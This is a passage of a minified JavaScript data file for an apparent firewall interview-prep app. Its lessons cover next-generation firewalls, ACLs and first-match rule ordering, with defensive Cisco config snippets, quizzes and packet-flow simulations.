        set action block`}],keyTakeaways:[`Traditional firewalls inspect L3/L4 (IP/Port); NGFWs inspect L7 (Application/Payload).`,`App-ID identifies real software regardless of port hopping or tunneling.`,`Integrates User-ID (Active Directory), TLS decryption, IPS, and Cloud Sandboxing.`],quiz:{question:`Why can a traditional port-based firewall fail to block BitTorrent traffic running on TCP port 443?`,options:[`Because BitTorrent uses UDP exclusively.`,`Because traditional firewalls only check the port number (443) and assume it is legitimate HTTPS.`,`Because traditional firewalls do not support IPv4.`,`Because BitTorrent packets cannot be routed over the Internet.`],correctIndex:1,explanation:`Traditional firewalls only inspect Layer 4 port numbers. If port 443 is allowed for web browsing, any application tunneled over port 443 will pass. An NGFW inspects the Layer 7 signature (App-ID) and detects BitTorrent regardless of the port.`},steps:[{id:1,label:`1. Traditional FW: Packet Arrives on Port 443`,badge:`Traditional Step 1`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`10.1.5.22`,dstIp:`185.199.108.153`,dstPort:443,protocol:`TCP`,payloadSummary:`BitTorrent Tunneled in Port 443`},whatIsHappening:`An employee runs an obfuscated BitTorrent client configured to use HTTPS port 443. A traditional firewall evaluates Layer 3/4 headers.`,interviewTakeaway:`Traditional firewalls are port-blind and cannot inspect the actual payload content.`},{id:2,label:`2. Traditional FW: Port 443 Allowed (Malware Passes)`,badge:`Traditional Step 2`,activeNodes:[`firewall`,`server`],packetInfo:{srcIp:`10.1.5.22`,dstIp:`185.199.108.153`,dstPort:443,protocol:`TCP`},decision:`ALLOW`,ruleMatched:`Rule: ALLOW ANY -> ANY TCP 443 (Web Access)`,whatIsHappening:`Because port 443 is permitted in the ACL, the traditional firewall permits the BitTorrent stream to pass straight through!`,interviewTakeaway:`Port-based filtering creates security blind spots when applications hop ports or tunnel over 80/443.`},{id:3,label:`3. NGFW: Ingress & SSL/TLS Decryption`,badge:`NGFW Step 1`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`10.1.5.22`,dstIp:`185.199.108.153`,dstPort:443,protocol:`TLS`,isEncrypted:!0},whatIsHappening:`Now examine a Next-Generation Firewall. The NGFW acts as an SSL forward proxy, decrypting the TLS stream to expose raw payload bytes.`,interviewTakeaway:`Over 90% of modern enterprise malware hides in encrypted TLS sessions; decryption is vital.`},{id:4,label:`4. NGFW: Layer 7 App-ID Identifies BitTorrent`,badge:`NGFW Step 2`,activeNodes:[`firewall`],packetInfo:{srcIp:`10.1.5.22`,dstIp:`185.199.108.153`,dstPort:443,protocol:`TCP`,payloadSummary:`App-ID Signature: BitTorrent Protocol`},decision:`INSPECT`,whatIsHappening:`The NGFW App-ID engine analyzes protocol signatures and identifies the underlying application as BitTorrent, regardless of port 443!`,interviewTakeaway:`App-ID classifies the actual application regardless of port number, evasion, or SSL encryption.`},{id:5,label:`5. NGFW: Threat Prevention & Antivirus Scan`,badge:`NGFW Step 3`,activeNodes:[`firewall`],packetInfo:{srcIp:`10.1.5.22`,dstIp:`185.199.108.153`,dstPort:443,protocol:`TCP`},decision:`INSPECT`,ruleMatched:`IPS Engine: Malicious Torrent File Hash Detected`,whatIsHappening:`The integrated IPS / Antivirus stream engine scans the reassembled payload and flags a malicious executable signature.`,interviewTakeaway:`NGFWs provide single-pass architecture scanning for malware and CVEs in real-time.`},{id:6,label:`6. NGFW: Threat BLOCKED & User-ID Logged`,badge:`NGFW Step 4`,activeNodes:[`firewall`],decision:`DENY`,ruleMatched:`Rule: Block-Unauthorized-P2P (App-ID: bittorrent)`,whatIsHappening:"The NGFW drops the packet immediately and logs an application security alert tied to the user identity `jdoe@corp.local`.",interviewTakeaway:`Policy enforcement combines App-ID, User-ID, and Threat Prevention for complete Zero-Trust visibility.`}]},{id:5,categoryId:`acl-rules`,category:`ACL & Firewall Rules`,title:`What is an Access Control List (ACL), and how is it used in a firewall?`,subtitle:`Understand sequential rule matrices, Standard vs Extended ACLs, and interface binding.`,visualType:`acl-matrix`,elevatorPitch:`An Access Control List (ACL) is an ordered collection of permit or deny statements applied to a router or firewall interface. It matches packet headers against criteria (Source IP, Destination IP, Protocol, Port numbers) to filter network traffic and control access to network segments.`,deepDive:[`**Standard ACLs (Layer 3 only):** Filter traffic based solely on Source IP address. Placed as close to the destination as possible.`,`**Extended ACLs (Layers 3 & 4):** Filter traffic based on Source IP, Destination IP, Protocol (TCP/UDP/ICMP), and Port numbers. Placed as close to the source as possible to conserve bandwidth.`,"**Directional Application:** An ACL must be applied to an interface in a specific direction: `in` (ingress traffic before routing/filtering) or `out` (egress traffic after routing).",`**Sequence Numbers & Top-to-Bottom Processing:** ACLs execute strictly in order of sequence numbers (e.g., 10, 20, 30). Processing stops upon the first match.`],realWorldScenario:"An engineer created an ACL rule allowing SSH from a management jump-box, but placed it at the bottom of the ACL below `deny ip any any`. The jump-box could not connect until the rule was re-sequenced above the deny rule.",commonTrap:`Remember that standard ACLs should be placed close to the destination (so you do not inadvertently block valid traffic to other destinations), while extended ACLs should be placed close to the source (to drop unwanted traffic early).`,cliSnippets:[{label:`Cisco IOS Extended ACL Example`,code:`ip access-list extended SECURE_INBOUND
 10 permit tcp 10.0.1.0 0.0.0.255 host 192.168.10.5 eq 443
 20 deny ip any any log
interface GigabitEthernet0/1
 ip access-group SECURE_INBOUND in`}],keyTakeaways:[`Standard ACLs filter on Source IP only; Extended ACLs filter on Source, Dest, Protocol, and Ports.`,`Rules are evaluated sequentially top-to-bottom.`,`Applied per-interface, per-protocol, per-direction (Inbound / Outbound).`],quiz:{question:`Where is the optimal placement for a Cisco Extended ACL in a network topology?`,options:[`As close to the destination host as possible.`,`As close to the source of the traffic as possible.`,`Directly on the core backbone router only.`,`Extended ACLs do not depend on placement.`],correctIndex:1,explanation:`Extended ACLs filter by Source, Destination, and Port. Placing them as close to the source as possible filters out unauthorized packets early, preventing unnecessary traffic from consuming backbone bandwidth.`},steps:[{id:1,label:`Network Topology Initialized (Client Only)`,badge:`Client Origin`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,dstPort:443,protocol:`TCP`},whatIsHappening:`The network session begins at the Client workstation (10.0.0.25). No security devices are engaged yet.`,interviewTakeaway:`Traffic origin begins in the trusted local zone.`},{id:2,label:`Firewall Gateway Established`,badge:`Perimeter Barrier`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,dstPort:443,protocol:`TCP`},whatIsHappening:`The perimeter Firewall is established and connected to the client interface.`,interviewTakeaway:`The firewall sits in-line between the client and untrusted zones.`},{id:3,label:`Destination Server Connected`,badge:`Target Server`,activeNodes:[`client`,`firewall`,`server`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,dstPort:443,protocol:`TCP`},whatIsHappening:`Destination Server (203.0.113.50:443) is connected to the egress interface of the firewall.`,interviewTakeaway:`Complete topology is now connected with the firewall controlling access.`},{id:4,label:`Client Generates HTTPS Packet`,badge:`TCP 5-Tuple`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},whatIsHappening:`Client prepares a TCP SYN packet destined for port 443 with source 10.0.0.25.`,interviewTakeaway:`Every packet carries a 5-tuple header for firewall evaluation.`},{id:5,label:`Packet Transmits: Client → Firewall`,badge:`In Flight`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},whatIsHappening:`The packet physically travels across the link towards the firewall ingress interface.`,interviewTakeaway:`Traffic in flight must be intercepted before reaching the target.`},{id:6,label:`Firewall Intercepts & Buffers Packet`,badge:`Inspecting`,activeNodes:[`firewall`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},decision:`INSPECT`,whatIsHappening:`Firewall buffers the packet at ingress and transitions state to INSPECTING.`,interviewTakeaway:`Firewalls buffer frames while the policy engine evaluates rule conditions.`},{id:7,label:`ACL Rule Table Engaged`,badge:`Top-Down ACL`,activeNodes:[`firewall`],activeRuleIndex:0,decision:`INSPECT`,whatIsHappening:`The Access Control List (ACL) is loaded for sequential top-to-bottom evaluation.`,interviewTakeaway:`ACLs are ordered lists where rules are tested one by one.`},{id:8,label:`Field-by-Field Criteria Matching`,badge:`Criteria Check`,activeNodes:[`firewall`],activeRuleIndex:0,decision:`INSPECT`,whatIsHappening:`Firewall tests: Source 10.0.0.25 ∈ 10.0.0.0/24 (✓), Dest 203.0.113.50 (✓), TCP (✓), Port 443 (✓).`,interviewTakeaway:`All 5-tuple parameters must match the rule criteria simultaneously.`},{id:9,label:`Rule 1 Match Confirmed`,badge:`Rule 1 Match ✓`,activeNodes:[`firewall`],activeRuleIndex:0,decision:`ALLOW`,ruleMatched:`Rule 1: ALLOW 10.0.0.0/24 -> 203.0.113.50:443`,whatIsHappening:`Rule 1 is fully satisfied. The firewall halts further rule evaluation (Rules 2 & 3 skipped).`,interviewTakeaway:`First match terminates ACL evaluation immediately.`},{id:10,label:`Action Executed: ALLOW`,badge:`Action ALLOW`,activeNodes:[`firewall`],decision:`ALLOW`,whatIsHappening:`Firewall issues an ALLOW verdict and opens the egress gate for packet forwarding.`,interviewTakeaway:`Permitted packets are queued for egress interface transmission.`},{id:11,label:`Packet Forwards: Firewall → Server`,badge:`Forwarding`,activeNodes:[`firewall`,`server`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},decision:`ALLOW`,whatIsHappening:`The packet physically travels from the firewall egress port to the destination server.`,interviewTakeaway:`Permitted traffic is routed along the downstream network link.`},{id:12,label:`Server Receives Packet & Accepts Connection`,badge:`Delivered ✓`,activeNodes:[`server`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},decision:`ALLOW`,whatIsHappening:`Server receives the SYN packet on port 443 and initiates TCP connection acceptance.`,interviewTakeaway:`Complete ACL flow: Client → Packet → Firewall → ACL Match → ALLOW → Server Delivery.`}]},{id:6,categoryId:`acl-rules`,category:`ACL & Firewall Rules`,title:`How does a firewall decide whether to allow or deny a packet?`,subtitle:`Step through the complete deterministic decision flowchart of a firewall engine.`,visualType:`decision-flowchart`,elevatorPitch:`A firewall evaluates a packet through a strict sequence: 1) Existing connection check in state table (if stateful), 2) Security policy inspection (evaluating rules top-to-bottom until first match), 3) Application/Threat inspection (if NGFW), and 4) Default Implicit Deny if no rule matches.`,deepDive:[`**Phase 1 - Sanity & Anti-Spoofing Checks:** Validates IP checksums, drops invalid TCP flag combinations (e.g., Xmas scans with FIN+PSH+URG), and checks Reverse Path Forwarding (uRPF).`,`**Phase 2 - State Table Lookup:** If the packet belongs to an existing established session, it bypasses rule re-evaluation and is immediately permitted (Fast Path).`,`**Phase 3 - Rule Evaluation (Slow Path):** For new sessions (e.g. TCP SYN), the rule engine compares packet 5-tuple against ordered security policies.`,`**Phase 4 - First Match Execution:** The first rule whose criteria (Zone, IP, Port, App) match the packet dictates the action (ALLOW, DROP, REJECT).`,`**Phase 5 - Implicit Deny Fallback:** If no rule matches after checking the entire list, the packet hits the implicit deny rule and is dropped.`],realWorldScenario:`During a network benchmark, packet throughput spiked 10x once TCP connections were established because the firewall used hardware-accelerated Fast Path state table matching instead of iterating 500 ACL rules per packet.`,commonTrap:`Candidates often think every single packet in a TCP session goes through the entire rule list. Emphasize that only the initial SYN packet traverses the rule base; subsequent packets hit the state table directly.`,cliSnippets:[{label:`Cisco ASA Packet-Tracer Simulation Tool`,code:`packet-tracer input inside tcp 10.0.1.15 50000 203.0.113.10 443 detailed
# Displays phase-by-phase decision path (Route, NAT, ACL, State)`}],keyTakeaways:[`Established sessions hit the Fast Path state table lookup.`,`New sessions evaluate the security policy top-to-bottom.`,`The FIRST matching rule terminates evaluation.`,`Unmatched packets are silently dropped by the implicit deny rule.`],quiz:{question:`What happens to packets of an already established TCP connection on a stateful firewall?`,options:[`They are re-evaluated against the entire security rule list from top to bottom.`,`They are matched directly in the state table (Fast Path) and forwarded without re-evaluating the full rule set.`,`They are sent to the Implicit Deny engine.`,`They are converted into UDP packets for faster processing.`],correctIndex:1,explanation:`Once a connection is established, subsequent packets match the state table entry directly. This Fast Path optimization prevents the firewall from expending CPU cycles re-evaluating the complete rule base for every packet.`},steps:[{id:1,label:`Network Topology Initialized (Client Only)`,badge:`Client Origin`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`},whatIsHappening:`Client (10.0.0.25) is ready to initiate traffic.`,interviewTakeaway:`The packet lifecycle begins at the client endpoint.`},{id:2,label:`Firewall Gateway Connected`,badge:`Firewall Ingress`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`},whatIsHappening:`Firewall decision engine is online and connected to the client interface.`,interviewTakeaway:`The security gateway acts as the gatekeeper for all network egress.`},{id:3,label:`Target Server Connected`,badge:`Target Server`,activeNodes:[`client`,`firewall`,`server`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`},whatIsHappening:`Destination Server (203.0.113.50:443) is connected to the egress zone.`,interviewTakeaway:`The complete physical path is mapped out.`},{id:4,label:`Scenario 1: Permitted HTTPS Packet Created`,badge:`Port 443 SYN`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},whatIsHappening:`Client creates an authorized HTTPS packet destined for port 443.`,interviewTakeaway:`Authorized traffic carries standard well-known service ports.`},{id:5,label:`Packet Transits to Firewall`,badge:`In Transit`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},whatIsHappening:`Packet physically travels across the link towards the firewall.`,interviewTakeaway:`In-transit packets are captured at the firewall ingress interface.`},{id:6,label:`Firewall Ingress & Buffer`,badge:`Ingress Point`,activeNodes:[`firewall`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},decision:`INSPECT`,whatIsHappening:`Packet arrives at firewall ingress buffer and is held for inspection.`,interviewTakeaway:`The firewall buffers packets while performing state and rule evaluation.`},{id:7,label:`5-Tuple Header Fields Extracted`,badge:`Header Extraction`,activeNodes:[`firewall`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},decision:`INSPECT`,whatIsHappening:`Firewall extracts: Source 10.0.0.25, Dest 203.0.113.50, Protocol TCP, Port 443.`,interviewTakeaway:`Extracted headers form the criteria for policy lookup.`},{id:8,label:`Rules Evaluated Sequentially`,badge:`Rule Engine`,activeNodes:[`firewall`],activeRuleIndex:0,decision:`INSPECT`,whatIsHappening:`Security rules are scanned top-down for matching conditions.`,interviewTakeaway:`Rules are evaluated in strict priority order.`},{id:9,label:`Field-by-Field Criteria Verified`,badge:`All Fields Match`,activeNodes:[`firewall`],activeRuleIndex:0,decision:`INSPECT`,whatIsHappening:`Source IP, Destination IP, Protocol, and Port 443 all match Rule 1.`,interviewTakeaway:`Deterministic match on all parameters confirms rule execution.`},{id:10,label:`First Match Win: Rule 1 Matched`,badge:`Match Confirmed`,activeNodes:[`firewall`],activeRuleIndex:0,decision:`ALLOW`,ruleMatched:`Rule 1: ALLOW 10.0.0.0/24 -> 203.0.113.50:443`,whatIsHappening:`Rule 1 matches. Decision engine halts further rule checks.`,interviewTakeaway:`First match terminates rule evaluation immediately.`},{id:11,label:`Action Executed: ALLOW`,badge:`Action: ALLOW`,activeNodes:[`firewall`],decision:`ALLOW`,whatIsHappening:`Firewall allows packet and prepares egress forwarding.`,interviewTakeaway:`Permitted traffic is passed to the egress interface queue.`},{id:12,label:`Packet Forwards: Firewall → Server`,badge:`Egress Delivery`,activeNodes:[`firewall`,`server`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},decision:`ALLOW`,whatIsHappening:`Authorized packet leaves firewall and travels to Server.`,interviewTakeaway:`Packet safely crosses the security boundary to the server.`},{id:13,label:`Server Receives Packet (Scenario 1 Complete)`,badge:`Received ✓`,activeNodes:[`server`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},decision:`ALLOW`,whatIsHappening:`Server receives HTTPS SYN packet. Connection established!`,interviewTakeaway:`Scenario 1 ends with full end-to-end delivery of authorized traffic.`},{id:14,label:`Scenario 2: Unauthorized Port 22 (SSH) Packet Created`,badge:`SSH Port 22 ⚠`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52411,dstPort:22,protocol:`TCP`,flags:`SYN`},decision:`INSPECT`,whatIsHappening:`A new packet arrives on unauthorized SSH Port 22 to test firewall denial.`,interviewTakeaway:`Security firewalls protect internal services by blocking unauthorized ports.`},{id:15,label:`Unauthorized Packet Transits to Firewall`,badge:`SSH In Transit`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52411,dstPort:22,protocol:`TCP`,flags:`SYN`},decision:`INSPECT`,whatIsHappening:`Packet on Port 22 travels towards the firewall perimeter.`,interviewTakeaway:`The packet approaches the security perimeter.`},{id:16,label:`Firewall Inspects: No Allow Rule Matches`,badge:`Default Deny`,activeNodes:[`firewall`],activeRuleIndex:2,decision:`DENY`,ruleMatched:`Rule 3: DEFAULT IMPLICIT DENY`,whatIsHappening:`Port 22 fails all allow rules. Hits the default Implicit Deny rule.`,interviewTakeaway:`Traffic that fails all permit statements falls through to default deny.`},{id:17,label:`Firewall Blocks & Drops Packet Visibly`,badge:`✕ BLOCKED AT FW`,activeNodes:[`firewall`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52411,dstPort:22,protocol:`TCP`,flags:`SYN`},decision:`DROP`,whatIsHappening:`Packet is visibly stopped and blocked at the firewall. It cannot pass.`,interviewTakeaway:`Blocked packets are halted and dropped at the security perimeter.`},{id:18,label:`Destination Server Remains Unreachable`,badge:`Server Safe`,activeNodes:[`firewall`,`server`],decision:`DROP`,whatIsHappening:`The server receives NO packet. Final state: Blocked at firewall, server safe.`,interviewTakeaway:`Firewall isolation successfully shields the server from unauthorized access.`}]},{id:7,categoryId:`acl-rules`,category:`ACL & Firewall Rules`,title:`Why does firewall rule order matter?`,subtitle:`Experience why first-match semantics mean broader rules can shadow specific exceptions.`,visualType:`rule-order-demo`,elevatorPitch:"Firewall rule order matters critically because firewalls evaluate rules sequentially from top to bottom and execute the FIRST matching rule. If a broad rule (like `DENY ANY`) is placed above a specific rule (like `ALLOW Admin IP`), the specific rule is shadowed (rendered unreachable) and will never be evaluated.",deepDive:[`**First-Match Semantics:** The first rule that matches all packet parameters wins. All subsequent rules below it are completely ignored for that packet.`,`**Rule Shadowing (Dead Rules):** When a preceding general rule matches a superset of traffic covered by a subsequent specific rule, the lower rule is "shadowed" and will never trigger.`,`**Best Practice Architecture:** Place specific, narrow rules (e.g., individual host IPs, specific ports) at the top of the rule base, and broader network rules or default denies at the bottom.`,`**Performance Optimization:** Highly utilized rules (like DNS or corporate web proxies) are placed near the top to reduce rule evaluation traversal latency.`],realWorldScenario:"An administrator intended to block all inbound traffic except for the CEO's home IP on port 443. They placed `DENY ANY ANY` at Rule 1 and `ALLOW CEO_IP ANY 443` at Rule 2. The CEO was immediately locked out because Rule 1 caught all packets first.",commonTrap:`In an interview, clearly use the technical term "Rule Shadowing." Explain that static analysis tools in modern firewalls warn when a newly created rule is shadowed by an existing upper rule.`,cliSnippets:[{label:`Shadowed Rule Example (BROKEN)`,code:`# Rule 1 catches everything first!
Rule 1: DENY Source: ANY Dest: Server Port: 443
Rule 2: ALLOW Source: 10.0.0.25 Dest: Server Port: 443 (SHADOWED / UNREACHABLE)`},{label:`Correct Ordered Rule Example (WORKING)`,code:`# Specific rule evaluated first
Rule 1: ALLOW Source: 10.0.0.25 Dest: Server Port: 443 (MATCHES & ALLOWS)
Rule 2: DENY Source: ANY Dest: Server Port: 443 (CATCHES THE REST)`}],keyTakeaways:[`Evaluation is strictly sequential: Top-to-Bottom.`,`First matching rule terminates evaluation immediately.`,`Broad rules placed above specific rules cause Rule Shadowing.`,`Always place specific host/port exceptions above general subnet rules.`],quiz:{question:`What is the consequence of placing "DENY ANY ANY" as Rule #1 on a firewall?`,options:[`All legitimate rules placed below it are shadowed and all network traffic is dropped.`,`The firewall operates normally because it evaluates all rules before making a decision.`,`The firewall crashes due to an infinite loop.`,`Only multicast traffic is blocked.`],correctIndex:0,explanation:`Because firewalls execute the first matching rule, placing "DENY ANY ANY" at the top ensures every packet matches Rule 1 and is dropped. Any permit rules below it are shadowed and dead.`},steps:[{id:1,label:`Network Topology Initialized (Client 10.0.0.25)`,badge:`Client Origin`,activeNodes:[`sim-order-correct`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`192.168.1.5`,dstPort:443,protocol:`TCP`},whatIsHappening:`Client prepares to send admin traffic on port 443. Firewall policy rule order determines the outcome.`,interviewTakeaway:`The exact same packet will be tested against two different rule arrangements.`},{id:2,label:`Order A: Specific Permit Rule Placed at Position #1`,badge:`Order A (Correct)`,activeNodes:[`sim-order-correct`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`192.168.1.5`,dstPort:443,protocol:`TCP`},whatIsHappening:"Rule 1: `ALLOW 10.0.0.25 -> 192.168.1.5:443`; Rule 2: `DENY ANY -> 192.168.1.5:443`.",interviewTakeaway:`Best practice: specific host/port exceptions must sit above general subnet rules.`},{id:3,label:`Order A: Packet Transits to Firewall`,badge:`In Transit`,activeNodes:[`sim-order-correct`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`192.168.1.5`,dstPort:443,protocol:`TCP`,flags:`SYN`},whatIsHappening:`Packet travels across the link to the firewall for policy evaluation.`,interviewTakeaway:`Packet ingress triggers sequential top-down rule inspection.`},{id:4,label:`Order A: Rule #1 Matches First (ALLOW ✓)`,badge:`Permitted ✓`,activeNodes:[`sim-order-correct`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`192.168.1.5`,dstPort:443,protocol:`TCP`},activeRuleIndex:0,decision:`ALLOW`,ruleMatched:`Rule 1: ALLOW 10.0.0.25 -> 192.168.1.5:443`,whatIsHappening:`Packet matches specific Rule 1 immediately. Forwarded to destination server. Admin access granted!`,interviewTakeaway:`Specific exception triggers on first match; lower deny rule is safely bypassed.`},{id:5,label:`Order B: Broad Rule Dragged Above Specific Rule`,badge:`Order B (Flawed)`,activeNodes:[`sim-order-swapped`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`192.168.1.5`,dstPort:443,protocol:`TCP`},whatIsHappening:"Reordered rulebase: Rule 1: `DENY ANY -> 192.168.1.5:443`; Rule 2: `ALLOW 10.0.0.25 -> 192.168.1.5:443`.",interviewTakeaway:`Placing broad rules on top creates dangerous rule shadowing.`},{id:6,label:`Order B: Same Packet Transits to Firewall`,badge:`In Transit`,activeNodes:[`sim-order-swapped`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`192.168.1.5`,dstPort:443,protocol:`TCP`,flags:`SYN`},whatIsHappening:`The identical packet (10.0.0.25:443) arrives at the reordered firewall.`,interviewTakeaway:`Evaluating the exact same packet header against the inverted policy.`},{id:7,label:`Order B: Broad Rule #1 Matches First (DENIED ✕)`,badge:`Blocked ✕`,activeNodes:[`sim-order-swapped`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`192.168.1.5`,dstPort:443,protocol:`TCP`},activeRuleIndex:0,decision:`DENY`,ruleMatched:`Rule 1 (Swapped): DENY ANY -> 192.168.1.5:443`,whatIsHappening:`Rule 1 matches ANY source and DROPS the packet. Legitimate admin is locked out!`,interviewTakeaway:`First matching rule terminates evaluation. Lower rules cannot override the match.`},{id:8,label:`Rule Shadowing Proven: Specific Rule #2 is Dead`,badge:`Rule Shadowed`,activeNodes:[`sim-order-swapped`],decision:`DENY`,whatIsHappening:`Rule 2 (ALLOW 10.0.0.25) is completely unreachable and shadowed. Result: Rule Order Matters Critically!`,interviewTakeaway:`Always sequence firewall policies strictly from most specific to least specific.`}]},{id:8,categoryId:`acl-rules`,category:`ACL & Firewall Rules`,title:`What happens when multiple firewall rules match the same packet?`,subtitle:`Learn the first-match rule principle vs routing longest-prefix-match differences.`,visualType:`multiple-match-demo`,elevatorPitch:`When multiple firewall rules could potentially match a packet, the firewall does NOT perform cumulative evaluation or select the "most specific" rule. It strictly enforces the FIRST matching rule encountered in top-to-bottom sequence and immediately stops further evaluation.`,deepDive:[`**First Match vs Longest Prefix Match:** In IP routing, routers pick the most specific subnet (Longest Prefix Match / LPM). In firewalls, evaluation is strictly order-dependent (First Match).`,"**Rule Conflict Scenarios:** If Rule 3 allows subnet `10.0.0.0/16` and Rule 7 denies host `10.0.1.50`, a packet from `10.0.1.50` will be ALLOWED because Rule 3 was evaluated first.",`**Security Risk of Overlapping Rules:** Overlapping rules create accidental security holes when administrators assume lower rules will restrict upper permissions.`,`**Audit & Policy Cleanup:** Regular firewall audits use automated policy optimizers to detect redundant, conflicting, or shadowed overlapping rules.`],realWorldScenario:"A compliance auditor discovered that a database server was accessible from all branch offices because a legacy rule `ALLOW 10.0.0.0/8 ANY` at Rule 4 matched before a newer lockdown rule `DENY 10.2.0.0/16 DB_SERVER` at Rule 15.",commonTrap:`Do not confuse firewall matching with route table matching! Route tables select the most specific mask (/32 before /24). Firewalls select the first rule in the list regardless of subnet mask size.`,cliSnippets:[{label:`Overlapping Rules Conflict Example`,code:`Rule 3: ALLOW Source 10.0.0.0/8    Dst 172.16.0.10:443  <-- MATCHES 10.0.5.20 FIRST!
...
Rule 8: DENY  Source 10.0.5.0/24   Dst 172.16.0.10:443  <-- NEVER EVALUATED!`}],keyTakeaways:[`Firewalls use First-Match semantics, NOT most-specific matching.`,`Evaluation halts immediately upon the first matching rule.`,`Overlapping rules must be ordered with the most specific rule on top.`],quiz:{question:`How does firewall rule evaluation differ from router route-table lookup?`,options:[`Firewalls use Longest Prefix Match; routers use First Match.`,`Firewalls use First Match in sequence; routers use Longest Prefix Match (most specific destination mask).`,`Both firewalls and routers use random hashing.`,`Firewalls evaluate all rules simultaneously and take the average.`],correctIndex:1,explanation:`Routers pick the most specific matching route (longest subnet prefix like /32 over /24). Firewalls evaluate rules sequentially and trigger on the FIRST matching rule regardless of how broad it is.`},steps:[{id:1,label:`Network Topology Initialized (Client Only)`,badge:`Client Origin`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,dstPort:443,protocol:`TCP`},whatIsHappening:`Client (10.0.0.25) is ready to initiate traffic.`,interviewTakeaway:`The packet lifecycle begins at the client endpoint.`},{id:2,label:`Firewall Gateway Connected`,badge:`Firewall Barrier`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,dstPort:443,protocol:`TCP`},whatIsHappening:`Firewall with 3 overlapping rules is connected to the client.`,interviewTakeaway:`Multiple overlapping rules are loaded in the firewall policy.`},{id:3,label:`Target Server Connected`,badge:`Target Server`,activeNodes:[`client`,`firewall`,`server`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,dstPort:443,protocol:`TCP`},whatIsHappening:`Destination Server (203.0.113.50:443) is connected to egress interface.`,interviewTakeaway:`Topology is complete with server ready to receive authorized traffic.`},{id:4,label:`Candidate Packet Created (10.0.0.25)`,badge:`Candidate Packet`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},whatIsHappening:`Packet with Source 10.0.0.25 on port 443 is created.`,interviewTakeaway:`This packet qualifies for Rule 1, Rule 2, and Rule 3 simultaneously.`},{id:5,label:`Packet Transits: Client → Firewall`,badge:`In Transit`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},whatIsHappening:`Packet physically travels across the wire to the firewall.`,interviewTakeaway:`Traffic arrives at firewall for policy matching.`},{id:6,label:`Firewall Buffers Packet & Starts Inspection`,badge:`Inspection`,activeNodes:[`firewall`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},decision:`INSPECT`,whatIsHappening:`Firewall holds packet and begins sequential rule evaluation.`,interviewTakeaway:`Rule processing begins at Rule 1 at the top of the list.`},{id:7,label:`3 Competing Rules Displayed in Rulebase`,badge:`3 Competing Rules`,activeNodes:[`firewall`],activeRuleIndex:0,decision:`INSPECT`,whatIsHappening:`Rule 1: ALLOW 10.0.0.0/24; Rule 2: DENY 10.0.0.25; Rule 3: ALLOW ANY.`,interviewTakeaway:`All 3 rules match this packet, creating an order-dependent decision.`},{id:8,label:`Rule 1 Evaluated: Source 10.0.0.25 Matches 10.0.0.0/24`,badge:`Rule 1 Matches ✓`,activeNodes:[`firewall`],activeRuleIndex:0,decision:`ALLOW`,ruleMatched:`Rule 1: ALLOW 